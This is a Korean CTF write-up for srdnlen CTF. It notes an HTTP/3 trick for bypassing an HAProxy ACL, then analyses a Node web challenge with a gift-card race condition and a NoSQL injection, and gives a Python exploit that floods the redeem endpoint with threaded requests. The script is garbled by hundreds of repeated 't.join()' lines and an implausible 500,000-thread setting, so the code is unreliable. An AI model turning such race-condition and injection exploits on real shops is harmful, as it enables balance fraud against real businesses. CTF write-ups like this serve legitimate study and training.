Korean
어제 새벽부터 srdnlen CTF에 참가했다. 초반에 문제 난이도를 보고 "이거 잘하면 본선에 갈 수도 있겠다!"라는 생각을 했지만 어림도 없었다.
최종 순위를 29등으로 마무리했다. 아쉽지만 공부는 계속해야 한다. 웹 문제 4개 중 풀지 못한 한 문제에 대해 Write-up을 정리해보려고 한다.
Average HTTP/3 Enjoyer
HTTP/3 관련 문제로 Haproxy의 ACL 설정 때문에 /flag 경로에 접근이 차단되는 상황이었다. HTTP/3의 특성을 이용해 이를 우회할 수 있었다. 처음에는 Haproxy 0-day 취약점이라고 착각했을 정도로 정말 어려운 문제였다.
https://www.rfc-editor.org/rfc/rfc9114.html#name-request-pseudo-header-field
RFC 9114: HTTP/3
The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "NOT RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in BCP 14 [RFC2119] [RFC8174] when, and only when, they
www.rfc-editor.org
원래는 위 문제만 따로 작성하려고 했는데, 나머지도 함께 정리해보려고 한다.
Focus. Speed. I am speed.
// Apply the gift card value to the user's balance
const { Balance } = await User.findById(req.user.userId).select('Balance');
user.Balance = Balance + discount.value;
// Introduce a slight delay to ensure proper logging of the transaction
// and prevent potential database write collisions in high-load scenarios.
new Promise(resolve => setTimeout(resolve, delay * 1000));
user.lastVoucherRedemption = today;
await user.save();
위 소스코드는 쿠폰 등록 로직 중 일부인데, 딜레이를 처리하는 부분에서 Race Condition이 발생할 가능성이 있다고 판단했다.
// Now handle the DiscountCode (Gift Card)
let { discountCode } = req.query;
if (!discountCode) {
return res.render('error', { Authenticated: true, message: 'Discount code is required!' });
}
const discount = await DiscountCodes.findOne({discountCode})
if (!discount) {
return res.render('error', { Authenticated: true, message: 'Invalid discount code!' });
}
추가로 쿠폰을 검색하는 과정에서 Nosql Injection이 발생한다.
PoC
import requests
import threading
def register_user(username, password):
"""
회원가입 후, 응답 헤더/쿠키에서 JWT 쿠키를 파싱해 반환
"""
url = "http://speed.challs.srdnlen.it:8082/register-user"
# 보통 'application/json' 형태를 받을 수도 있지만,
# 실제 서버 상황에 따라 bodyParser가 json인지 urlencoded인지 맞춰야 함
# 여기서는 urlencoded로 전송한다고 가정
data = {
"username": username,
"password": password
}
print("[*] Trying to register user...")
response = requests.post(url, json=data)
# 회원가입 결과 출력(디버그 목적)
print("[*] Registration response:", response.text)
# 쿠키 중 'jwt' 값이 있는지 확인
if 'jwt' in response.cookies:
session_cookie = response.cookies.get('jwt')
print(f"[+] Registration success. JWT Cookie: {session_cookie}")
return session_cookie
else:
print("[!] JWT cookie not found in response. Check if registration was successful.")
return None
def exploit_race(session_cookie, discount_code, num_threads=10):
"""
Race condition exploit for gift card redemption
"""
url = "http://speed.challs.srdnlen.it:8082/redeem"
cookies = {"jwt": session_cookie}
params = {"discountCode": discount_code}
def make_request():
try:
response = requests.get(url, params=params, cookies=cookies, timeout=5)
# /redeem 라우트가 render('error')를 호출하면 HTML 반환도 가능하니, 상황에 맞게 확인
if response.status_code == 200:
# res.json()으로 응답했을 경우
# 혹은 response.text 등을 직접 확인할 수도 있음
try:
print(f"[Thread] Response JSON: {response.json()}")
except:
print(f"[Thread] Response Text: {response.text[:200]}")
else:
print(f"[Thread] HTTP {response.status_code} - {response.text[:200]}")
except Exception as e:
print(f"[Thread] Error: {e}")
print(f"[*] Starting {num_threads} threads for race condition exploit...")
threads = []
for _ in range(num_threads):
t = threading.Thread(target=make_request)
threads.append(t)
t.start()
# 모든 쓰레드가 끝날 때까지 대기
for t in threads:
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
t.join()
print("[*] Race condition exploit finished.")
if __name__ == "__main__":
"""
사용 예시:
1) python exploit.py (직접 수정 필요)
- 아래 변수를 원하는 대로 조정:
USERNAME, PASSWORD, DISCOUNT_CODE, NUM_THREADS
"""
USERNAME = "tasdfsdfsdfssdfdsffdsffsdfdsdsfdsdadfaf"
PASSWORD = "p455w0rd"
DISCOUNT_CODE = "69JT0DQHHBIR" # 실제 사용하려는 코드
NUM_THREADS = 500000 # 병렬 요청 개수
# 1) 회원가입 -> JWT 쿠키 획득
jwt_cookie = register_user(USERNAME, PASSWORD)
if jwt_cookie:
# 2) 레이스 컨디션 익스플로잇 시도
exploit_race(jwt_cookie, DISCOUNT_CODE, NUM_THREADS)
else:
print("[!] Cannot proceed with race exploit, no JWT cookie acquired.")
English